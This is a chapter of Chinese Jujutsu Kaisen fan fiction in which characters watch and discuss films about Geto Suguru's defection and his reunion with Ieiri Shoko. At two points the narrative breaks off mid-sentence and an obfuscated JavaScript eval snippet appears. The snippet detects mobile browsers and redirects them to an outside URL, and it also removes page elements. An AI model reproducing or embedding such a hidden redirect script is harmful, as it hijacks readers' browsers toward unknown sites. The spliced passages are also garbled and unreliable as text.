要问咒术界里最不可能和正论这种刻板、守序的东西搭上边的人,就是完全以自我为中心的五条悟本人无疑了。他出生以来便是高居神坛的六眼之子,站在世人无法触及的实力与权威的顶峰,在绝对强大之下,他肆意妄为甚至践踏规则,永远有一条天地间不可塌陷的鸿沟摆在这个人与他们之中。 而现在,另一个【五条悟】却给出了这个答案。 女医师的神色依旧在笑着,像是没把他这个像是胡扯的答案放在心上,又像是知道他这么说的原因与意义所在,但她也只是用如同旁人开玩笑的口吻评价道。 “这可真不五条悟。” 不等其他人咀嚼这句话有没有多余的含义,新一轮的观影又开始了,带来了一个如同阴影般注定无法摆脱的诅咒。 4. 背弃者 【背弃者】 五条悟的视线落在这个隐晦不明的称号上,他的眉心不自觉微皱了起来,敏锐地知道这个名号指的是谁。 夏油杰。 毫无疑问,这一轮数下来的几个影片主人公都是他,这个观影室过于“偏爱”他了,当然,是贬义的意思。 至于原因,那个装死的系统显然不会多说。 他用五条家祖传的苍蓝色眼睛扫视着隔壁的那位同位体,银幕倒映的光线划过白发咒术师完美的侧脸,冷峻、幽深,那个人的唇角抿成一条绷紧的直线。没有人能知道他在想什么,包括五条悟,无法从中窥见半分影子。 【在其他咒术师的眼里,极恶诅咒师已经成为了不亚于两面宿傩的存在呢,我忍不住在心底无意义地喟叹着。】 “这是一个咒术师。”夜蛾正道揣摩了下那人的语气,估摸不定地猜测,这次影片播放没再采取上帝视角观看,而是换了一个平平无奇的路人视角,当然这个路人无疑是咒术界的人。 不过两面宿傩,这倒提醒了伏黑惠一个潜在的威胁,他望向虎杖悠仁问道,“他没什么问题吧?” 后者嘴角的笑容明亮而鲜活,面对同伴与前辈透着关心的眼神,他下意识地挠了挠头,“在这里我好像感觉不到他的存在。” 钉崎野蔷薇故意地撇了下嘴,近乎抱怨的语气,“那这可是我来这迄今为止听到的第一个好消息了。” 年轻的男孩和女孩们,这温馨的一幕让家入硝子忍不住在心底也喟叹,她得承认她有一点羡慕,毕竟不是哪个倒霉鬼都会和某个白毛同期的。 【专属咒术界的地下赌场里有形形色色的人,在这里咒术师与诅咒师少有地放下偏见处在同一屋檐下,他们没任务的时候和普通人没差多少,闲得没事就私下地群聚在一起,嘴碎地谈论起圈子里的一些情报。 这可不关乎利益,只是为了单纯的八卦。 人的劣根罢了。 而我听到的一半都与某个人相关,这是特级咒术师叛逃的不知道第几个年头,但旁人讲的一些琐碎的事总能和他扯上些关系,无非是某个诅咒师杀死了某个咒术师,又或者哪个咒灵搞出了什么破坏,争论幕后黑手时总会有人来句“说不定是那个人做的呢。” 没有指名道姓但几乎在场所有人都知道是谁,真他妈好笑不是吗。】 “很难想象他做了什么,居然给别人留下这么深的阴影。”禅院真希毫不留情地指出来了这点。 【我挺理解他们为什么这么说。 不管是咒术师还是诅咒师死亡率都挺高的,仅仅是在几个年头里咒术界便无声无息地换走了好几批人马,毕竟旧的不去新的不来,而我勉勉强强地算是活得久的那批里的。 有些从前人便流传下来的话就这样传给了后辈,即使从未见过活在传说里的“You Know Who”,但也知道他那个烂透了的名声——背信弃义之人。】 不知道是哪位年轻的学生低声地惊呼了出来。 虽然说他们早已知道人家是“叛逃”的了,但并不是每一个叛逃成为诅咒师的都会被冠上这个讽刺且残忍的字眼,这足以代表有人在其中扮演了受害者这一角色。在背弃者的选择下将一切变得支离破碎,他们原本的道路、理想以及感情通通被丢在身后,界限分明地划出了一道无法忽视的裂痕。 这对于单纯的少年们显然不太友好,这是他们这个年纪的人无法想象、也不愿去想象的一个假设。 【别说当时的咒术师了,就连诅咒师也一时半会都不敢相信——他所选择的。 有人骂过他是不是疯了,但这人显然忘了,咒术师大多都是些疯子,越强得离谱的就越疯。 那个时候的局势看起来很不稳定,像是一把达摩克利斯剑悬挂在他们这些咒术师的头顶上,所有人都惶惶不安地充当着一个历史的见证者,见证着那个人斩断身后的退路,用血腥与暴力重铺一条路。 看着他头也不回地当了个殉道者。 至于被他抛弃的我们?虽然这个形容有点嗯……恶心。 说实在的,这很伤人。】 “这语气让他听起来有点像负心汉。”胖达忍不住吐槽,前面的沉重与黑暗突然被打断,一口气憋在在场的人心里不上不下的。 钉崎野蔷薇感到一阵的恶寒,“他也知道这个形容恶心。”但这无疑证明了那人不仅在诅咒师中风评挺不错,还包括咒术师,前提是那些人与他共处过那段曾经是咒术师的时期。 但没有接触过的他们真的无法理解为什么。 “或许因为他是很强的特级咒术师?”胖达飘忽地给出一个连他自己都不信的答案。 毕竟在下一秒,前排的女医师毫不客气地嗤笑出声,视线无声地嘲讽着在场同样也是特级的白发咒术师,只能说没有对比就没有伤害。 五条悟倒是罕见地没有搭腔,他察觉到了影片的避重就轻,它没有将里面更深的一层剥开,只是堪堪地停留在表面,比如为什么叛逃这个问题,它尚且还没有给出一个答案。 【我没有想过,我会再次遇见他——夏油杰。 就在地下赌场里,而他变了很多,时间总归在他身上留下了些痕迹。 不知道是哪个傻逼先惊呼出声“夏油杰!”那些不明事理的后辈第一时间就是拿起咒具抵在身前,用畏惧、不安的眼神死死地盯着他,仿佛眼前的人会像那以讹传讹的谣言中的那般吃掉他们一样。 他们称他是个危险人物,狡诈、残忍、背信弃义,打着所谓大义的旗号宣称自己是正义的,而邪终不压正。 来人嘴角的笑意褪下了少年时初见的温和,深紫色的眼眸在光线下晦暗不明,没有染上一丝温度,侧过脸看向这些所谓的后辈时,对于咒术师他们的惊惶、不安,他只是轻轻地摇了摇头,目光里透着点微不可察的怜悯。 仿佛在自上而下地注视着,无知且无罪的羔羊。】 “羔羊,”禅院真希面无表情地重复了一遍,“我讨厌这个比喻。”一个具有献祭色彩的称号,无非关于家族,使命,意义这些是是非非的东西,但谁又真的说得清咒术师的命运会不会被上帝叩响呢。 家入硝子倒是抬起头来细细地打量了下,莫名觉得这个人身上的某种东西令她感到心惊的熟悉,矛盾的对立却又意外地重合起来。 傲慢,这可真是——她的视线擦过正专心看影片的最强咒术师,一时说不出什么话来。明明同样是傲慢、同样站在顶端的高度,但影片中的那个人好像带着宿命般的悲哀感压着家入硝子,让人无端地喘不过气来。 【很显然,他并不记得自己。 而我也只觉得陌生,就像是有一条看不见的巨大鸿沟横跨在我与他、咒术师与诅咒师之间,或者更多意义不明的立场。 夏油杰轻笑着问,“不欢迎我吗?” “现在可不是我的工作时间,”他这么说道。 来人没有披着传闻中的那身古怪的袈裟,只是穿着一身简单的黑色常服,还慢条斯理地抚平了微翘的袖领,那副举手投足之间进退有度的皮囊下,完全看不出一点沾血的刽子手的影子。 所有人最后都放下了武器,却没有放下戒心。因为他们不敢赌,也不能赌这个人的耐心。 渐渐地,这个地下赌场又恢复了原有的气氛,玩的在玩,聊天的在聊天,仿佛和之前没什么不同,甚至我余光里还瞥见一个初生牛犊不怕虎的新人试图和他搭话。 那模糊不清的只言片语传入我的耳中,我听到他如此说道,“只要是同胞,我都欢迎。” 同胞,他这么称呼着。 但在场绝大多数的咒术师,对此态度都是嗤之以鼻,表面上你看看我我看看你,打个马虎眼就过去了,默不作声地给予身边同伴一个心知肚明的回应。 而我却控制不住地插了句话。我问他,“那你做这一切的目的是什么?” 周围的其他人一脸震惊地望着问出这个问题的我,仿佛觉得我疯了一般。而夏油杰也稍有讶异地看了我下,只是这一眼,让他的神色发生了细微的变化。他嘴角的笑意消失了。 他没有被我突兀的话语冒犯到,却也没有立即给出答复,安静地盯着我几秒然后才开口,语气却不是那么的友好,“你看起来有点眼熟。” 我没有想到夏油杰还会记得自己,喉咙里的氧气在发堵,说话的声音不自觉地含糊起来,我也没有勇气去直视他的眼睛,“在你还是……的时候,你曾救过我。” 那时候的他,已经成为了世上屈指可数的特级咒术师、绝对实力的强者,对于我们来说可望而不可即的存在,但他仍旧竭尽全力地去拯救同伴和普通人,祓除危险而恐怖的咒灵。 曾经的夏油杰坚定地与我、我们,行走在同一条充斥着暴力与血腥却追求美好与和平的路上。 而如今,他叛离了这条他过去选择的路。 是的,这个极恶诅咒师、盘星教教主在曾经,还是咒术师的时候—— 救过我一条命,救过无数人的命。】 年轻的学生不能明白那些,他们被那字里行间潜藏的浓厚情感所触动,又像哑巴一样说不出什么话来,他们还是太过年轻,他们不懂,也很少人会理解。 如果真要窥看他人,那么就只能深深地、直直地逼视自己。 所以他们无法感同身受地理解,过去与现在的割裂,不仅仅横跨在遥远长久的时间之河上,还将曾经的信念与理想毁得面目全非。 看到这里的夜蛾正道忍不住摇了摇头,像是惋惜又或者喟叹世事的无常,“他或许可以成为一名很好的咒术师。” 他本应该是一名很好的咒术师。 但很明显,他不喜有人提到那些属于过去的东西,更不喜和那些过去有关联的人再扯上关系,仿佛往事早已从身份转变的那一刻,就被夏油杰亲手葬进了坟墓里。 夜蛾正道的心里复杂极了,他下意识地以为,“也不知道京都那边是怎么教他——” 而五条悟突然出声打断了他,转过脸直视着这位教导过他的老师,在那双苍天之瞳下仿佛所有的隐秘都无处掩藏,他以确切的语气说道,“不,他是东京高专的学生,或者说曾经是。” 一瞬间掀起了惊涛骇浪,他们犹疑不定的目光都集中在五条悟的身上,不敢相信他放出了一个怎样的惊天炸弹,“这怎么可能?!” 至于家入硝子,她不详的预感成真了。在正经事上五条悟不会出错的,他们都清楚这一点,显然眼下这一摊浑水与自己脱不了干系,至于在这个故事中【他们】所扮演的是什么角色。尚且不知。 可单单是已知的一个点就足够打出暴击,家入硝子的视线轻轻地掠过最强咒术师,停留在了他们那位年长的老师身上,后者的眼角纹路上刻着饱经风霜的沧桑,他比他们当中所有的人都走得更久,看得更多。 夜蛾正道很快接受了夏油杰可能曾经是他们中一员的这个说法,这个认知并不很难接受,甚至可以说得上合理了,不然为什么是他们待在这里观影。可东京咒术高专内部人员明明一向比京都的关系更融洽、处境更好,究竟是什么才会让这样一个前途无限的年轻人叛逃。 有一道巨大而扭曲的伤痕隐藏在他们的倒影之中,而他们无从得知。 【他只是不轻不重地回了句,“是吗,我不记得了。” 骗人,他认出我来了,可即使是这样,我、我们都没有立场去指摘他什么。 周围的后辈不清楚我们在打什么哑谜,不知道是哪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15299967|167130||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个惴惴不安的年轻咒术师把我之前的问题重复了一遍,他这么做不是为了别的,估计是在担忧自己的身家性命。没人想要触夏油杰的霉头。 他抬起眼来,赌场昏暗的光线打下阴影落到了深紫色的瞳孔中,形似神佛却染上万丈尘埃,此时此刻,此有此无,这人仿佛被无数罪恶的业障缠身。 “当然是为了我的同胞。”夏油杰如此说道。 我的同胞,他仍旧这么称呼着,炙热而深厚的情感统统被凝缩在这两个字中。 说这话时,他看着我,看着眼前的所有人,目光坦坦荡荡无愧于心,就像剖去假面后露出的最真挚的那部分,亘古不变。 其他人不相信他的说辞,认为只是浮夸而傲慢、自我感动式的蒙骗,毕竟天底下从来没有什么真正的大圣人,可是我并不这么认为。 他说的是真话。 同胞,我忍不住一遍又一遍地咀嚼着,这样会让我确信他从未背叛、抛弃过我们,他依旧是他,他依旧为了那些美好的存在走在路上。 他只是选择了一条更为极端、也更多苦难的路。 而结局终将皆大欢喜。】 “做这一切的目的是为了同胞?别告诉我这就是他叛逃外加壮大邪教的理由,这听起来没有一点说服力。”完全不能理解,钉崎野蔷薇在心底近乎冒火地想着,她自己也缘由不明地极其烦躁起来。 显然其他的年轻学生也不能理解,他们一个个皱起眉思考着,盘旋在他们脑子上的问题还有很多个。夏油杰的立场在此刻间莫名地在学生们原有的观念中摇摆不定起来,影片中那最后几句所包含的感情色彩太过浓厚,无论是夏油杰还是“我”。 “真的有咒术师能对一名诅咒师这么……”胖达用爪挠了挠下巴,思索出一个比较恰当的形容词,“信任?这个形容还是挺怪的,但我真的不太明白。” “影片没有把那些更深层次的东西告诉我们,”七海建人皱着眉,“它只停留在了表面,就像是之前对所谓的‘大义’匆匆一提,就一笔带过了。”夜蛾正道认同地点了点头,然后他把视线转向五条悟身上,想听听这人有什么见解,却发现他的目光落在了单面镜那边。 “硝子,你看起来不太舒服的样子。”五条悟突然冷不丁地开口,这句直白到只是陈述事实、没有一丝关切的话引起了家入硝子的疑惑,她愣了几秒才反应过来他说的是另一个自己。 对面女医师的脸色变得更加难看起来,一如既往的疲倦感包围着她,显然不是出自生理上的,而是心理上。 而当看完这轮观影后,某种她尽力去忽略的、不愿多想的愧疚感再一次向【家入硝子】袭来。 女医师意识到自己又错了,在一切都过去了很久之后。她低下头,近乎颓然地遮住了自己的眼。很抱歉,在那次的相遇时不理解地说你幼稚,在这么晚的时候才对此知道更多的真相与真心。这个答案对于了解一点内情的人来说,是意料之外却又在情理之中,毕竟那家伙真的是个笨蛋。 回想起这个影片的标题叫作【背弃者】,她咀嚼出了其中的意味,又觉得一丝荒诞的可笑。谁背叛了谁,谁抛弃了谁,这宛如宿命般的诅咒将过去的一切都毁得面目全非,尚且还活着的知情者少之又少,而这些人,包括她自己,都很难说清楚其中的内幕。现在再去追究,也早就晚了。 总是这样,【家入硝子】想,无论是她自己还是另一个笨蛋。 “应该没什么太大问题吧?”饶是家入硝子本人也无法猜测出此时平行世界自己的心理路程。 在外人的眼里看来,女医师长久地沉默不语着,像只是盯了太久的银幕使她眼睛感到酸涩,而直到【五条悟】出声,他们才意识到不太对。 “你还好吗,硝子?”而这时坐在旁边的白发咒术师也望向她。【家入硝子】放下遮住眼睛的手,深深地吸了一口气,试图缓解心中过于复杂的心绪。 “不太好,”女医师轻轻地说道,“结局是怎样的,我们都再清楚不过了。” 听到这话,隔壁率先坐不住了,钉崎野蔷薇再一次忍不住地抱怨道,主要是她真的不擅长那些弯弯绕绕的东西,“他们是又在打哑谜吗?能不能把话说明白点,真的急死个人了!” 最强咒术师的神情因这句话微微变了下,他的目光在那一刻似乎落在了虚空中,像是陷入了某段回忆之中,良久他才抬起头来,“皆大欢喜的结局,即便是最强也做不到。” 对于【五条悟】来说,寻根究底这件事他向来不擅长,也总是晚一步,所以年少的他在极度的愤怒、质问之后,好像仍然能够坦然地接受离开,坦然地面对失去,然后依旧继续向前走。但他却是走在了曾经夏油杰走过的那条路上。 杰,夏油杰,他避不可免地默念着这个名字。 【五条悟】无法拉住他,他比任何一个人都要看得更清楚,看着曾经奉行正论、想要拯救弱者的那人剑走偏锋,走向另一条被世俗否定、更加偏激而极端的路,可是作为最强的他也只能看着。他知道那人选择那条路的结局会是什么,可是他也知道他会义无反顾地走下去。 于是,最强咒术师只能认输地重复一遍那句话,“我做不到。” 全程目睹了这场交谈的高专众人一下子都像个哑巴般闭紧了嘴,哪怕是刚刚还在抱怨的钉崎野蔷薇,最后还是家入硝子先打破沉默,“真是不可思议,”她慢了半拍继续说道,“这真的是五条悟本人吗?即使是同位体差异也有些过分了吧。” 五条悟也难得没有开口,他陷入了自我怀疑之中,显然有点被打击到,准确来说是连他都不相信这话会是自己说出口来的。“我做不到”这四个字压根不应该存在他的字典里面。 他可是最强,最强有什么做不到的吗? 5. 新烟不添旧烟止 【新烟不添旧烟止】 【今天的东京不是一个好天气,灰蒙蒙的云沉了下来,与熙攘喧闹的人群擦肩,轻轻地落在了那人的肩头。 镜头拉近。 那个人身上懒散而困倦的气质过于独特,以至于第一眼就能辨认出来。】 “家入医生?”学生们眼尖地认了出来。 好吧,最坏的结果出现了,家入硝子想到,这些烂事能和她扯上关系只能算是她倒了八辈子的霉。虽然不知道影片为什么一反常态地更换了主人公,但她心里有种不好的预感,事情绝对不会这么简单。 “确实是我,”家入硝子烦恼地揉了揉太阳穴,“但也不是我。”说这话时,她忍不住瞥了眼旁边那家伙,他眼里丝毫没有意外,却难得地在思索什么。 【视线划过街边的便利店,女医师有些意动,但也只是百无聊赖地等着下一站的电车。难得她今天有空出来转转,其他人倒反而没有时间了,无论是东京高专还是京都的旧识一个都没能邀出来。 咒术师这份工作不是在996就是007,她想着,有点倒霉。 总得来说这一圈逛下来还是有点收获的,别看家入硝子两手空空,但她上次来这条街还是三个月前,这次来半条街的店铺都已经换了新的,有家新开的天妇罗还挺好吃的。 而她原本的打算是去上次看中的一家拉面馆,结果找了半天才发现已经被翻修成了一家鬼屋,之前的那家拉面馆硬是连半个影子都认不出来了。】 “看得我都有点饿了。”虎杖悠仁咕哝了一句。但其实在场的人都知道,待在这个观影室里既不会产生饥饿感,也不会有疲倦感,当然这两者指的都只是生理方面的。 “说真的,我不太能理解为什么给我们放这样一个视频。”禅院真希说道,这轮观影播放到现在,里面都没有和诅咒师盘星教什么的扯上关系。 家入硝子叹了口气,“我也不能理解。” “按照这个观影套路,”她尝试开了个玩笑,“难道我休个假外出还能遇上夏油杰吗?” 但事实证明是,一语成谶。 【这个时候的行人逐渐减少,零星的几人三五成群,可能今天家入硝子运气真的有点糟糕,对街不远处是一群明显不学无术的混混,盯上了她孤零零的一个人。 家入硝子倒是一点都不怎么在意,手术刀随身紧贴着自己的白大褂,她不介意亲自教他们如何喊姑奶奶。 只是在他们先有动作之前,有一个人就先出现在了她的视野里。 这可出乎了家入硝子的意料。】 “我猜是夏油杰。”五条悟轻快地开口。 听他这么一说,其他学生面色不由地紧张起来,要知道对方可是极恶诅咒师、盘星教教主这种身份,很难不怀疑会出什么事。 夜蛾正道倒没那么担忧,夏油杰对咒术师看起来是没有什么恶意的,当然,除开高层那群人。只不过,按照之前五条悟的说法,如果对方是东京高专的学生,那么他会是哪一届的呢? 他心里隐隐有个猜测,但没有说出来。 【他显然也没有预料到会在这里遇见家入硝子,黑发青年从巷子中走了出来,带着一身还未消散的硝烟与血腥气。 整个镜头仿佛都慢了下来,黑色及肩的长发被风凌乱地吹起,黄昏还未落下的光影轻轻地落在了他的眉骨上,深紫色的眼里闪过一丝惊讶,随即浸没眼底的是友善和温和。 他扬起来一个真实的笑容,“硝子。” “好久不见。”他这么说道。 就像是遇见了一个阔别多年的故人。】 “这是开了什么柔光滤镜吗?”钉崎野蔷薇吐槽道。这个镜头给影片上的人来了个特写,情节发展意外地符合某种青春偶像文学,如果钉崎野蔷薇不知道那人光鲜亮丽的外表之下是什么,她真的会为那张脸而心动的,就一点。 听了她想法的虎杖悠仁憋了几秒但还是没忍住,“额,他看起来倒真的不太像坏人,不是那种外表的原因啦,”他挠了挠头,“算是一种直觉。” 坐在他们前面的家入硝子把后面的对话听得一清二楚,心情稍稍有些复杂。很难以想象,在知晓这个人的身份是什么样后,她依旧很难打心底地去讨厌这个人,反而缠绕在心中最多的是某种担忧感,至今为止所有的影片好像都在隐隐地暗示着什么。 “看来隔壁的我真的和夏油杰认识,还很熟。”家入硝子不由地说道,视线不经意划过那面镜子,他们之间的关系并不简单。 五条悟饶有趣味地作了个推论,“那这么看来,‘我’也应该和他很熟呢。” 事情的发展越来越有趣了,他也越来越期待了。 【好吧,这可真不在家入硝子的外出规划表上,虽然这种东西是否存在还有待确认。 但她喉咙里涌上来的有千千万万句话,说出来的却是一句,“又见面了呀,犯罪小哥。”在话音落下的时候,家入硝子就有点后悔说出口的是这句话了,怪自己别他妈只说话不带脑子,虽然她也知道对方并不在意。 当事人确实对这个称呼只是简单地笑了下。 离他们上一次见面已经过去了五六年,而家入硝子才发现自己依旧对过去记忆深刻。】 现在压力又来到了家入硝子的身上,她揉了揉太阳穴,试图整理一下思绪,影片中自己的心声就足够透露出她的态度了。不是紧绷的敌对关系,反而就像是那个形容,阔别多年的故人重逢。 倒是学生们的八卦之魂熊熊燃烧,他们显然会错了意。 【还没有等他多说什么,家入硝子敏锐地察觉到了什么,“你受伤了?” 作为医生的她再熟悉不过血腥气了,而对方穿着一身黑色的便服,以至于家入硝子没有第一时间看出来。 与之前所有夏油杰展现出来的样子都不同,他的眉眼异常的温和,说出来的话却在别人听起来又显得是那么的傲慢,“只是一两个特级,受了点小伤。” 那种口气仿佛只是在谈及今天的天气怎么样,而不是令旁人心惊胆颤恨不得见到就跑的特级咒灵。】 “这就是人与人之间的差距吗?”胖达咕哝了一句。 “特级与特级之间也是有差距的,”五条悟接了一句,“有些术师也好,或者咒灵,他们都只配称作特级,而有些——” 他的语气听起来平淡极了,笑得却有点欠揍,“是因为只有特级。” 直接指名道姓他自己吧,家入硝子暗自腹诽。 【对话还在继续,女医师毫不客气地翻了个白眼,“原来你还会受伤啊,我还以为——” 最强不会受伤呢。 后半句被她憋在了嗓子眼里,家入硝子由衷地希望对面这个人的脸上可以写着别他妈说话不带脑子。 “以为什么?”他好脾气地问了句。 看了几秒女医师的神情,夏油杰便猜出来了后半句是什么,他用几分好笑的口吻提到了那两个字,“我又不是最强。” 于是家入硝子又陷入了哑口无言之中。】 这番对话又令在场所有人都摸不着头脑,包括最强的白发咒术师。 夜蛾正道冷静地分析,“至少我们得到了个好消息,夏油杰的实力在五条悟之下。” 但校长没说出口的是,估计也只是在他之下。 【家入硝子站在原地唾弃了自己几秒,她实属没事找事干,不想继续上一个话题,于是直接开口问道,“需要我帮忙吗?” 夏油杰看了她一眼,“不是都称我犯罪小哥了吗?” “可是你的脸上并没有写着做事之前别他妈说话不带脑子,”家入硝子不在意地说道,“我违法乱纪的事做得还少吗?” 她少有地再次看见那个笑容,明亮而无奈,仿佛和尚未褪色的记忆中那般差不多。 “那就麻烦硝子了。”他说道。】 “你们能别那么八卦地望着我吗?”家入硝子有气无力地说道,虽然她确实年轻的时候抽烟喝酒,但并不意味着她想谈恋爱。更何况无论她自己怎么看,都没看出来她的同位体或者对方有任何暧昧的意思。 反而彼此语气熟悉得像是关系不错的朋友,要是抛开对方的身份,家入硝子倒也觉得那是个不错的选择。 【街上已经没什么人了,那群混混在看到夏油杰出现之后识趣地离开了,也幸亏他们有点自知之明,不然家入硝子都不能一定保证他们的生命安全问题。 而夏油杰也没有说谎,拉起胳膊上的衣袖,只有一道狰狞恐怖的爪痕,血色浸染了上面的布料。这点伤无论是对夏油杰而言,还是家入硝子而言,都是小问题,她没有多问什么,他也没有解释什么,女医师用反转术式处理了一下伤口,几分钟过后便消失了大半,只有浅浅的一道划痕留在上面。 在治疗结束之后,空气里恢复了某种尴尬得无话可说的气氛,这可能是她单方面的觉得,主要是家入硝子不知道自己要等的那辆电车什么时候会到,而自己想要说的话又不知道该从哪里开始讲起。他明明就站在离自己不到一手臂的距离,却又好像是隔得那么遥远,仅剩两人的长街看起来空荡荡的,就这样寂静地倒映在那双晦暗的深紫色中。 这让家入硝子没头没脑地想到,他会想起新宿那次的见面吗? 夏油杰突然抬起眼来看向她,他说:“作为报酬,我给你买包烟吧。” 家入硝子没有反应过来,就已经下意识地开口了,“我已经戒烟了。”他的表情在有一刻停顿了下来,或许这个回答不是对方想要的,夏油杰的笑容收敛了一点,声音低低的,“戒烟挺好的,你也早就该戒了。 “对身体好。” 还没等家入硝子说些什么,就有电话打了过来,不是她的电话,而是夏油杰的,他简单地回复了几句,便挂了电话。 家入硝子从那几句中领会到了些许意味,她抿了下嘴问道:“你要走了吗?” 其实就算自己不问,她也知道这个答案,可是家入硝子其实有些话想对他说,但现在似乎不是个好时机,留给她的时间没有多少。 “抱歉,我需要先走一步了。”黑发青年点了点头,语气犹豫了下。 他还是说了声:“再见,硝子。” 当时家入硝子就想着,他告别的语气应该再坚决一点的。 女医师看着那人离去的背影,渐渐地消失在视野里,不知道下一次见面又会是在何时。她不自觉地想着,手指伸进白大褂的兜里,忍不住轻轻地摩挲着卷烟纸。 但最后她还是放下了那根烟,“算了,那要给我点烟的人走了。” 家入硝子到最后想说出口的话都缩短成了一个问题,但现在依旧只能是不了了之。 ——还会再见吗,我年轻的友人?】 “哇哦。”五条悟感叹出声。从后半段开始,他们一众都保持着无声,也许是摆在面前的事实让在场所有人或多或少都有点出乎意料。女医师无意中透露的心声令高专众人陷入了怀疑与推理中,这轮影片到最后的发展其实一切都有迹可循,为什么她会用反转术式帮一个十恶不赦的诅咒师,为什么夏油杰会提出用香烟用来做报酬。 因为,他们是友人。 或者说曾经是。 可正是因为这样,才让无论是高专的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15299968|167130||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 学生还是老一辈的人都一时无法接受,前面的一些细节现在终于被证实了答案——夏油杰是前咒术师,也是前东京高专的学生——这一点从他与家入硝子交好就可以看得出来,更何况他们之间的感情色彩,多少有点复杂。 无论是任何人做出背叛这个行为,被背叛的人都不应该是像【家入硝子】这般相对平静的态度,他们的重逢单纯到好像就是阔别已久的故人相见,而不是一见面就眼红愤怒争吵指责。所有翻涌的情绪都被彼此掩盖起来,只能让旁观者从细微的表情变化中察觉出一二。 更何况,对方的身份、立场。家入硝子比其他人都要了解自己,对于夏油杰这种身份对立的存在,她向来是避之不及不愿添麻烦上身,而对方的举动若是伤害到无辜之人,她会排斥甚至厌恶这样的人,身为医生的她,更清楚生命的短暂、脆弱以及珍贵。 但隔壁女医师所表现出来的——就好像她无法、也不愿去记恨这个人,这太奇怪了。 “这倒是令我有点意外,你说呢,硝子?”被旁边的白发咒术师冷不丁地叫道,家入硝子慢了半拍才从思绪里回神,她对上的是苍天之瞳背后直视的打量,那里面是毫不避讳的探究欲。 “我不知道。”她的语气不善,不愿再与他视线相对,五条悟倒是不怎么在意,把对方前几秒眼里闪过的某种情绪收入眼中。 看来夏油杰这个存在对于他的同期来说并不一般,无论是哪一个,对于这个结论五条悟稍微有一点意外。毕竟好歹与家入硝子认识了这么多年,他或多或少了解对方的处事方式,可那两人间不动声色流露出的情感不是作假,真真实实地存在,并且一直在那里。 “友人”这个称号赋予的感情色彩太过厚重了,以及最后那句意味不明的话。 学生们其实一直偷偷注意着镜子的背后,从这轮影片开始,安静,不,用凝重形容隔壁的气氛更合适,只有两人的座椅在昏暗的空间里显得更加的空荡,即使在这轮影片结束,二人中没一个开口,又像是不知从何处说起。 知晓过去的一切都会在这里再度重演,如磁带般循环播放。但是,当真真实实地看到自己参与进来的一幕,女医师的视线一直落在银幕上,嘴角抿着,没有转头看向自己的另一位友人,也没有开口说出一句话。 还会再见吗,我年轻的友人? 回想起这段记忆,【家入硝子】的脑海里只浮现出一个孤零零的画面,他就那样站在那条街道上,仿佛只是从沉寂和死亡的深渊里回头看了她一眼。 “我不应该称呼他为犯罪小哥的。”她想笑,却只是扯了下嘴角,女医师想尽可能地保持平静,装作没有被触动多少的样子,这是当前最好的选择。 白发咒术师笑了,这让隔壁的人猜不懂他的心思,他似乎是想让气氛更轻快一点,仿佛一点都不在乎地开口,“可他就是。” 【家入硝子】摇了摇头,她轻轻地回复,“不,我是说,他成为诅咒师后,我们之间第二次见面的时候。” “那个时机不对,五条。” 那是我们最后一次见面。 女医师转过头来看向他,安静的目光中表达了她的未言之意,那里面流露出的有愧疚,有哀伤,有痛苦,但【五条悟】知道那并不是对他的,这是为了不在场的另一个人。 他张了张口,“我很抱歉,硝子。”不止因为这个。 最强咒术师的声音轻到只有他们两个人听到,【家入硝子】却只是摇了摇头没有再说话。 五条悟凑近想要辨认出隔壁自己的口型,但失败了,他伸出左手,掌心遮掩了几束昏暗的光,试图触碰那面单面镜,但在那之前,鲜红的警告就已经跳了出来。 【禁止触碰】 “五条。”面对夜蛾正道的沉声呼唤,五条悟只是随意地摆了摆手,“我想问很久了,为什么要把我们隔开呢?”他指了指对面,这个问题引起了学生们的一点骚动,他们有点摸不着头脑地看向五条悟。 【为了不引起两个世界的时空混乱。】 对于系统给出的这个简言意骇的答案,五条悟没有再说什么,仿佛真的只是随口一提,“好啦,安心看下一个影片吧。” 这倒是确认了之前家入硝子随口猜测的平行世界,女医师与夏油杰的关系不简单,那另一个自己呢?也会是那所谓的“友人”吗,或者更极端一点——反目成仇,也不是不可能。 五条悟近乎理智地思考到,夏油杰很强,这一点毋庸置疑,长相也就比自己差了一点,至于性格,想起对方极恶诅咒师的模样,倒也跟自己半斤八两。似乎有哪里不太对,他不经意地微微皱了下眉,能让女医师看得上眼的人的性格应该不会是他这样的,五条悟这点还是清楚的。还是说对方能欺骗得了她感情?这个猜测的可能性比较小。 他忍不住想,曾经的夏油杰是什么样的呢。应当不会是这副模样。 抬头便对上夜蛾正道严肃的眼神,五条悟只好做个手势闭上了嘴巴,夜蛾正道懒得再搭理他,这里面有一个他一直很注意的地方,眼里不禁露出凝重之意。根据影片透露的信息,在夏油杰叛逃后,这两个人估计几年里只碰见过两次面,这很容易解释,女医师作为辅助常年坐镇后方难得出门一趟。 但是作为最强咒术师的五条悟呢? 隔壁的【五条悟】不可能不知晓一些对方的踪迹,他躲得了一时躲不了一世,实力无疑很强的盘星教教主却不足以对付最强咒术师,按照咒术总监部那群人的性格,他们是坚决不会放过夏油杰的。 咒术师,诅咒师,非术师,最强咒术师,极恶诅咒师,咒术总监部,这里面必有内情。 6. 行刑权 【行刑权】 